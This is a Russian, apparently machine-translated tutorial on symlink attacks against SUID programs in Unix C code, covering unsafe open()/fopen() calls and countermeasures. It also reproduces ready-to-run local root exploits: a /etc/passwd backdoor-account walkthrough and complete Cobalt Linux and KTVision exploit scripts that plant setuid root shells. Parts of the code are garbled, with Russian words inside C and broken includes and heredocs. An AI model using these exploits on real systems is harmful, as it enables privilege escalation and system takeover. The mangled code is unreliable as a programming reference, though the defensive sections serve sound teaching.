| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
Как агрессор через ошибки в программировании может получить административные права.
Содержание:
1.0 предисловие
2.0 внедрение
3.0 опасности при программистских опытах
4.0 контрмеры
5.0 практические примеры с Securityfocus
6.0 Greets
1.0 предисловие
В тексте речь идет о возникновении, открытии и использовании Symlink атак. С самого начала этот текст не был статьей на научную тематику а должен был по возможности способствовать тому, чтобы читатели узнали что такое Symlink атаки и как они возникают.
Первоначально этот текст был написан под emacs, но так многие пользователи Windows так же используют этот текст, он был так же оптимизирован под Word. *: /
Расстановка запятых совсем пропускалась на основе состояния души авторов. Так что можете распечатать все орфографические ошибки и повесить их на стену. *;)
Текст посвящен опытам по программированию на языке C в UNIX подобных операционных системах.
Отзывы присылайте на адрес [email protected].
2.0 внедрение
Пользователи вынуждены часто работать с файлами. Уже один каталог HOME отчетливо демонстрирует этот факт. У UNIX подобных систем (и клонов Unix таких как Linux) файлы обычно имеют владельца и группу. Если, например, Томас Митглид является пользователем группы "a", то файл "thomas", принадлежащий Томасу Митглиду принадлежит и группе "a".
В чем преимущество такой системы?
В Unix системах пользователи имеют определенные права доступа. Это гарантирует, что несколько пользователей, работающих в системе, не смогут удалить или скопировать без разрешения файлы. Таким образом, пользователь Томас может сам устанавливать права на прочтение или запись в его файлы.
Можно столкнуться с файлами, на которых установлены разные права, они могут так же быть и различного типа, то есть иметь разные форматы. Самые частовстречающиеся - текстовые и исполнимые файлы.
Наряду с этими "нормальными" файлами в Unix системах существуют многие разновидности файлов, каких мы не найдем в более простых системах, таких как MS-DOS к примеру.
Итак:
-Нормальными файлами можно считать файлы данных или программы
-Слева: слева задается альтернатива имени файла, т.е. к тому же самому файлу можно обращаться с другим именем.
* Жесткие ссылки : здесь не обсуждаются.
* Символические ссылки: Как уже было упомянуто выше, это псевдо
ссылки на следующий файл. Символические
ссылки называют так же "Soft - ссылки".
Вместе с тем это ссылки в границах
файловой системы.
Думаю принцип символических ссылок станет ясен из примера.
Однако, сначала мы займемся командной оболочкой "ln". Ориентированная на строки программа находится в каталоге /bin/ и доступна на исполнение как правило для каждого пользователя.
ln [опция] для имени файла и ссылок.
Составления ссылки на имя файла:
Опции:
-f : Если происходит вынужденное открытие ссылки
(эта опция не требует подтверждения на разрешение).
-n : Не озаглавливает существующие файлы.
-s : Производит символическую ссылку.
Пример:
l0om@home:~/test> ln -s /etc/passwd ./symtest
l0om@home:~/test> ls -l ./symtest
lrwxrwxrwx 1 l0om 500 10 Nov 3 16:32 ./symtest -> /etc/passwd
l0om@home:~/test> # puhh... now iam l337 ;)
l0om@home:~/test> head -n 1 ./symtest
root:x:0:0:root:/root:/bin/bash
l0om@home:~/test> echo "owned" >>./symtest
Permission denied.
В первом запросе мы производим символическую ссылку на /etc/passwd после ./symtest Командой "ls-l" (причем ls относится к списку а -l показывает права доступа) мы можем получить сведения о файле. Как мы можем догадаться по "l" в начале строки, речь идет о ссылке. В принципе ясно, что права доступа позволяют нам относить запросы только к ссылкам, а не к файлам на которые они ссылаются. "l0om" является владельцем ссылки и принадлежит группе с ID 500. Далее следует дата последней модификации файла и в конце стоит пояснение для ссылки. Протекает ли со ссылкой действительно все так гладко, мы проверяем в то время, когда мы в первую строку нашей ссылки (/etc/passwd) ставим сообщение. Запись с откликом в файл, конечно остается отклоненной.
############################NOTE##########################
l0om@host:~> echo fun with the symbolic links
l0om@host:~> mkdir dir1
l0om@host:~> touch dir1/datei
l0om@host:~> ln ../dir1 dir1/dir2
l0om@host:~> ls -LR dir1
l0om@host:~> ^C^C^C^ #Wow!
###########################################################
3.0 опасности при программистских опытах
Агрессоров всегда интересуют их права доступа. Основной целью усилий агрессора являются права root (суперпользователя). С этими правами доступа он получает тотальный контроль над системой и может манипулировать и использовать систему в своих целях.
Как агрессор получает эти права?
Тема кажется почти бесконечной. В большинстве случаев в захвате root прав используют эксплойты. Эксплойты - это программы использующие ошибки / небрежности в программировании и нарушающие надежность системы.
Существует множество методик эксплойтов:
-переполнение буфера,
-атака на форматную строку,
-переполнение кучи,
-Race Conditons и
-Symlink атаки являются пожалуюй самыми известными.
Как возникает возможность для агрессора поставить системную надежность с помощью Symlink атаки на колени?
Можно собственно сказать одно: каждый раз где файл открывается в результате небрежностей в программировании, может быть проведена Symlink атака. Особенно опасно если программа выполняется с БИТОМ SUID...
Многие программы во время своего окончания создают временные файлы (файлы выгрузки). В них хранятся данные чтобы позже быть снова использованными. Временные файлы по большей части создаются в каталоге /tmp/ , однако есть и много исключений. Знаменит пример из известной книги "Антихакер".
В этом примере речь идет о нападении "сбора приложений" в Solaris системах. Каждый раз если выполняется "сбор приложений" происходит вкладка временного файла с именем "/var/dt/appconfig/appmanager/generic-display-0" что устанавливает право файла на "0666". Кроме того, пользователь может выполнить файл как будто он является зарегистрированным собственником этого файла. К сожалению, никакая логичная проверка не может установить существует ли файл самостоятельно, или действует в качестве символической ссылки на другой файл (например, /etc/passwd).
Как это выглядит на практике?
l0om@home:~> ls -l /etc/passwd
-r-xr-xr-x 1 root root 560 May 5 22:36 /etc/passwd
Нам нужно узнать какие файлы может читать пользователь l0om. Далее необходимо выяснить какие файлы принадлежат суперпользователю и го групее.
Теперь производим ссылку /var/dt/appconfig/appmanager/generic-display-0
на /etc/passwd
l0om@home:~> ln -s /etc/passwd /var/dt/appconfig/appmanager/generic-display-0
Теперь выполняем "сбор приложений" и устанавливаем права доступа у /etc/passwd
l0om@home:~> ls -l /etc/passwd
-r-xr-xr-x 1 l0om l0om 560 May 5 22:36 /etc/passwd
Как теперь видно, "сбор приложений" попал в ловушку и незамедлительно назначил нас владельцем /etc/passwd
Как теперь видно, "сбор приложений" попал в ловушку и незамедлительно назначил нас владельцем /etc/passwd. К сожалению эта милая функция программы не названа в справочнике...
l0om@home:~> chmod +w /etc/passwd
l0om@home:~> echo "Drl0om::0:0:muhaha:/:/bin/bash" >>/etc/passwd
l0om@home:~> su Drl0om && echo "Schachmatt"
# No comment
--- Перейдем к деталям---
Теперь эта программистская ошибка стала ясной.
Часто такие ошибки в программировании вытекают из
неправильного применения функций open () или creat ().
Definition
#include
#include
#include
int open(const char *имя файла, int flags, ... /*, mode_t modus*/ );
возвращает: Filedeskriptor при успехе, при ошибке -1
Имя файла: имя открываемого файла.
признаки: в качестве признака могут указываться в fcntl.h определенные константы:
O_RDONLY = файл открыт только для чтения .
O_WRONLY = файл открыт только для записи.
O_RDWR = файл открыт для чтения и записи.
каждый признак должен указываться одной из этих трех констант.
Наряду с этими 3 константами имеется следующий оптимальные признаки, которые должны быть связаны с помощью | -оператора (способом бита OR).
O_APPEND = файл открывается на запись вконце
O_CREAT = файл появляется по-новому если его не существует.
в этом случае также должен указываться третий аргумент.
Режим выкладывает права доступа для нового файла.
Если файл уже существовал эта константа не имеет никаких воздействий
O_EXCL = в случае O_EXCL вместе с O_CREAT указаный файл не может
открываться если он уже существует и open () -1 (для ошибки).
...
Интересна следующая опция:
l0om@home:~> man open
Для начала этих сведений достаточно.
Маленький пример (эта программа использует SUID-бит):
/* start */
...
int fd;
...
fd = open(TMPFILENAME, O_RDWR | O_CREAT, 0666); /* Omfg */
/* break here */
Здесь не производится никакой логичной проверки существует ли уже TMPFILENAME и/или речь идет о символической ссылке. Если наш агрессор уже поставил в преддверии символическую ссылку с именем констант на важный системный файл такой как/etc/passwd то она уже имела бы силу, то есть выполнялась бы.
В принципе то же самое происходит при ошибочном вызове функции creat ().
l0om@host:~> man creat
Похожая опасность получается при вызове функции fopen ().
Definition
#include
FILE *fopen(const char *dateiname, const char *modus);
если ФАЙЛ возвращает стрелку на имя файла, при ошибке NULL
имя файла: имя файла # кто бы мог подумать???
modus (режим): с этим аргументом устанавливается вид доступа...
"r": открывается только для чтения.
"w": открывается только для записи.
"a": открывается на запись в конце файла.
" r + ": открывается на письмо+чтение.
" w + ": открывается на письмо+чтение..
" a + ": открывается для чтения и письма, начиная с конца файла
С особенной осторожностью пожалуй нужно пользоваться "w" и " w + ". При открытии файла с обоими упомянутыми видами доступа все содержание уже существующего файла удаляется. К сожалению, никакая логичная проверка также не производится при выполнении этой функции. (то, что он уже существует должно проверяться раньше).
То есть агрессор может использовать эти функции для удаления содержания важных системных файлов (например,/etc/passwd, /var/utmp, /var/wtmp ...).
Похожая проблема возникает, когда применяется функция tmpfile () при открытии файлов с режимом " w + ".
#########################NOTE############################
Также нужно быть осторожным при создании файлов выгрузки с fopen ().
Все по-новому заложенные файлы будут исполняться, ведь, согласно POSIX у них права доступа:
rw-rw-rw-
Это значит, что каждая вложенная в содержание файла выгрузки функция доступна для чтения или
модификации.
Но это собственно, не проблемы напрямую связанные с символическими ссылками, а вопрос прав
доступа устанавливаемых для файлов. Поэтому мы оставляем эту проблему…
##########################################################
4.0 контрмеры
Как можно предотвратить атаки через символические ссылки?
Как говориться много дорог ведет в Рим. Но главное здесь это то, что
ПРОГРАММИСТ ДОЛЖЕН ВСЕГДА ПРОВЕРЯТЬ УВЕРЕННОСТЬ В ТОМ, ЧТО ФАЙЛ УЖЕ СУЩЕСТВУЕТ.
Как было описано выше, это можно обеспечить с помощью O_EXCL. Если этот признак установлен, то агрессор при попытке совершения атаки столкнулся с тем, что файл уже существует. А при попытке захвата функции open () к нему возвратился бы ответ -1.
Как увидеть осуществляется ли при логической проверке проверка на символическую ссылку?
Для этого мы посмотрим на структуру функций lstat () и stat.
Stat структура содержит необходимые сведения о файле.
Stat структура:
struct stat {
mode_t st_mode; /* Вид файла и права доступа */
ino_t st_ino; /* i-node номерr */
dev_t st_dev; /* Номер устройства */
dev_t st_rdev; /* Номер устройства для файловых устройств */
nlink_t st_nlink; /*Количество ссылок */
uid_t st_uid; /* User-ID собственника */
gid_t st_gid; /* Group-ID собственникаs */
off_t st_size; /* величина в байтах нормального файла */
time_t st_atime; /*время последнего доступа */
time_t st_mtime; /*время последней модификации */
time_t st_ctime; /* время последнего изменения i-nodes */
long st_blksize; /* предварительные установки блочной величины */
long st_blocks; /* количество необходимых 512 -байтных блоков */
};
Definition:
int lstat(const char *dateiname, struct stat *puffer);
возвращает 0 при успехе, -1при ошибке
lstat описывает как и stat () свойства файла, имя файла, переменные величины, структуру буфера. В отличие от stat (), lstat () в случае с именем файла описывает символическую ссылку после буфера.
Чтоб узнать о других функциях stat ():
l0om@home:~> man stat
Элемент структуры st_mode содержит права доступа, а также вид файла. Чтобы считывать вид файла из переменных величин нужны макрокоманды sys/stat.h.
Makro ВЕРНО если подставить
S_ISREG() регулярный файл
S_ISDIR() каталог
S_ISCHR() ориентированное на знак устройство
S_ISBLK() ориентированное на блок устройствоt
S_ISFIFO() FIFO или PIPE
S_ISLNK() символические ссылки
S_ISSOCK() сокет
С помощью макрокоманды S_ISLNK () мы можем страховаться от символических ссылок. Однако, лучше всего совершать следующую проверку:
/* start */
...
структура stat атрибута;
...
if(!(S_ISREG(attribut.st_mode))) { fprintf(stderr,"не регулярный файл\n");
возврат -1; /* или другая статья */
}
...
/* end */
Таким образом, мы закрываем действия вокругPIPE. Но я не упомянул, что здесь существует та же опасность относительно PIPES или FIFOS. Но агрессору конечно удобнее производить ссылку на другие файлы.
В любом ли случае проблему вызовет открытие tmpfile (), который создаст tmp файл с " w + " правам доступа???
Конечно, неn! Имеется возможность изменить определенные маски доступа как для tmpfile (), так же для fopen () . Это делается при помощи функции umask ()...
Definition
#include
#include
mode_t umask(mode_t maske);
возвращать, если доступна предыдущая маска.
Маска файла таким образом становится чем-то вроде сита, которое фильтрует права доступа. Признаки могут быть связаны при помощи | (или оператора OR).
константа значение
S_IRUSR право чтения для собственника
S_IWUSR право записи для собственника
S_IXUSR право исполнения для собственника
S_IRWXU все права для собственника
S_IRGRP право чтения для группы
S_IWGRP правозаписи для группы
S_IXGRP право исполнения для группы
S_IRWXG все права для группы
S_IROTH право чтения для других пользователей
S_IWOTH право записи для других пользователей
S_IXOTH право исполнения для других пользователей
S_IRWXO все три права для других пользователей
Наш программный пример:
/* начало */
...
umask (0);/* разрешает все права доступа */
...
umask (S_IXWUSR | S_IRWXG | S_IRWXO);
/* эти установки не дают пользователям группы открывать файл на исполнение со всеми тремя параметрами. */
creat ("test.tmp", S_IRWXU | S_IRWXG | S_IRWXO);/* создаем файл со всеми правами доступа*/
/* таким образом мы получаем файл вида
rw-------
этот метод можно использовать и при параметрах fopen () или tmpfile () */
...
/* конец */
Еще я хотел бы обратить ваше внимание на программу L0pht Watch которая внимательно следит за перечнем новых файлов выгрузки из каталога /tmp. Прога находится тут: www.l0pht.com/advisories/l0pht-watch.tar.gz. Использование этой программы позволяет быстро и просто обнаруживать Symlink-атаки.
5.0 практические примеры с Securityfocus
В конце я прибавил еще 3 реальных примера для Symlink-атак. Здесь я ссылаюсь на SecurityFocus где можно найти массу таких программистских ошибок, которые зачастую имеют печальные последствия.
###############################################################################
1) xbreaky
###############################################################################
-----------------------------------------------------------------------
Title: xbreaky symlink vulnerability
Author: Marco van Berkum
Classification: High risk
Date: 12/09/2002
Email: [email protected]
Company: OBIT
Company site: http://www.obit.nl
Personal website: http://ws.obit.nl
-----------------------------------------------------------------------
About xbreaky
-------------
xbreaky is a breakout game for X written by Dave Brul which can be downloaded
from http://xbreaky.sourceforge.net. xbreaky is added to the OpenBSD ports tree,
NetBSD tree and possibly others.
Problem
-------
By default xbreaky is installed as suid and can be abused to overwrite any file
on the filesystem, by any user.
Vulnerable versions
-------------------
All versions prior to 0.0.5
Exploit
-------
xbreaky uses $HOME/.breakyhighscores to write the highscores to, when
$HOME/.breakyhighscores is symlinked to another file (*any* file) it simply
overwrites it as root user.
Example
-------
root@animal:/home/marco# echo "bla" >rootfile
root@animal:/home/marco# chmod 600 rootfile
root@animal:/home/marco# exit
logout
marco@animal:~$ ln -s rootfile .breakyhighscores
marco@animal:~$ xbreaky
Now I play a game and set highscore as user "lol", then I exit the game.
Its a nice game btw :)
marco@animal:~$ cat rootfile
cat: rootfile: Permission denied
marco@animal:~$ su -
Password:
root@animal:~# cat /home/marco/rootfile
lol <- voila, our highscore user
Author's response and solution
------------------------------
The author corrected the problem and released xbreaky 0.0.5
Credits
-------
Thanks to Dennis Oelkers for testing.
##############################################################################
2) Cobalt Linux 6.0 Local Root
##############################################################################
Good morning all,
I would like to apologise if this is old news, however I dont quite
recall seeing this come across here yet. I just had a colo customer who
was 100% up to date on cobalt release patches get owned with the following.
#!/bin/sh
#
# Cobalt Linux 6.0 Local Root Exploit
#
# Effects: <= apache-1.3.20-RaQ4_1C3 (AFAIK all Cobalt Linux Apache ;)
# Quick Fix: su - root -c "chmod 755 /usr/lib/authenticate"
#
# Problem Source Code:
# fd = open("gmon.out", O_WRONLY|O_CREAT|O_TRUNC, 0666);
#
# Suggested Code:
# fd = mkstemp("/tmp/gmon.out-XXXXXX");
#
# Still need help Cobalt developers? Ok:
# man 3 tmpfile; man 2 open; echo "Thanks core"
#
# by Charles Stevenson
#
# Fri Jun 28 03:35:53 MDT 2002
# - initial version
# Sun Jul 7 20:12:41 MDT 2002
# - added some features for robustness
echo "RaQFuCK.sh by core"
target="/usr/lib/authenticate"
tempdir="/tmp"
if [ -u /.sushi ] ; then
exec /.sushi
fi
printf "Checking for $target..."
if [ -f "$target" ] ; then
echo "done."
else
echo "NO!"
exit 1
fi
printf "Checking if $target is setuid root..."
if [ -u "$target" ] ; then
echo "done."
else
echo "NO! Hrm... does this admin have a clue???"
exit 1
fi
if [ ! -d "$tempdir/core" ]; then
printf "Creating $tempdir/core..."
if ! mkdir "$tempdir/core" 2>/dev/null ; then
echo "FAILED!" ; exit 1
fi
echo "done."
fi
printf "Changing directory to $tempdir/core..."
if ! cd "$tempdir/core" 2>/dev/null ; then
echo "FAILED!" ; exit 1
else
echo "done."
fi
printf "Creating cron.d symlink..."
if ! ln -fs /etc/cron.d/core gmon.out 2>/dev/null; then
echo "FAILED!" ; exit 1
else
echo "done."
fi
printf "Changing umask..."
if ! umask 000 ; then
echo "FAILED!" ; exit 1
else
echo "done."
fi
printf "Compiling root shell..."
cat >sushi.c <
int main (int argc, char **argv, char **envp) {
setuid(0);
setgid(0);
execve("/bin/sh",argv,envp);
return -1;
}
EOF
if ! cc sushi.c -o sushi 2>/dev/null; then
echo "FAILED!" ; exit 1
else
echo "done."
fi
printf "Compiling cron takeover..."
cat >takeover.c <
main() { system("cp $tempdir/core/sushi /.sushi ; chmod 6777 /.sushi"); }
EOF
if ! cc takeover.c -o own 2>/dev/null; then
echo "FAILED!" ; exit 1
fi
echo "done."
printf "Performing symlink attack..."
printf "\n\n\n\n" | "$target"
if [ -u /etc/cron.d/core ] ; then
echo "SYMLINK ATTACK FAILED!" && exit 1
else
echo "done."
fi
printf "Setting up evil cron job..."
cat >croncore </dev/null >/etc/cron.d/core; then
echo "FAILED!" ; exit 1
else
echo "done."
fi
printf "Waiting for root shell"
while [ ! -u /.sushi ] ; do
sleep 1 ; printf "."
done
echo "done."
cd /
printf "Cleaning up real quick..."
if ! /.sushi -c "rm -rf $tempdir/core /etc/cron.d/core"; then
echo "FAILED??? Fuck it!"
else
echo "done."
fi
echo "Spawning root shell!!! God Damn! I say GOD DAMN!!"
if ! exec /.sushi -i; then
echo "Exec Failed!!! BUMMER!" ; exit 1
fi
################################################################################
3) Symlinks Symlinks - This time KTVison
################################################################################
Hi ppl,
the subject already states the problem: there is a symlink follow
problem in the (in many distributions suid root) ktvision binary <=
0.1.1-271.
It is discouraging that nowadays such trivial symlink attacks are still
possible. No comment anymore. In order to be complete: a bash script
demonstrating this vulnerability is attached below.
Ihq.
------------------------- ktv.sh -------------------------------
#!/bin/bash
link=/home/paul/.kde/share/config
linkto=/etc/passwd
target=/opt/kde/bin/ktvision
echo ""
echo "KTVision <= 0.1.1-271 local r00t exploit by IhaQueR"
echo ""
if ! test -u $target ; then
echo "[-] $target not found"
exit 1
fi;
echo "[+] $target found"
rm -f sush*
cat <<__DUPA__>>sush.c
#include
main()
{
setuid(geteuid());
setgid(getegid());
execl("/bin/bash", "/bin/bash", NULL);
}
__DUPA__
echo " compiling sush"
res=$(gcc sush.c -o sush)
if test "$res" != "" -o ! -x sush ; then
echo "[-] failed"
rm sush* ktvback.*
exit 2;
fi;
echo "[+] success"
cp $linkto ktvback.$$
mkdir -p $link
rm -f $link/ktvisionrc
ln -s $linkto $link/ktvisionrc
echo ""
echo -n "now running... (ensure that X is up and running)"
$target >/dev/null 2>&1 &
cpid=$!
declare -i cnt
declare -i max
cnt=0
max=60
while ! test -O $linkto ; do
sleep 1;
printf " %.2d" $cnt
cnt=$(($cnt+1))
if test $cnt -ge $max ; then
echo ""
echo ""
echo "[-] FAILED"
rm sush* ktvback.*
exit 2;
fi;
done;
kill -9 $cpid >/dev/null 2>&1
rm $link/ktvisionrc
echo ""
echo ""
echo "[+] SUCCESS, creating sush"
echo >>$linkto "r00t::0:0:root:/root:/bin/bash"
echo ""
su r00t -c "chown 0.0 sush; chmod u+s sush; chmod g+s sush; cp
ktvback.$$ $linkto; chown 0.0 $linkto"
rm ktvback.* sush.c
if ! test -u sush ; then
echo " hm strange error"
rm sush* ktvback.*
exit 1
fi;
echo ""
echo "starting ./sush"
./sush
.....................................................................................................................................................................................
l0om
|
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |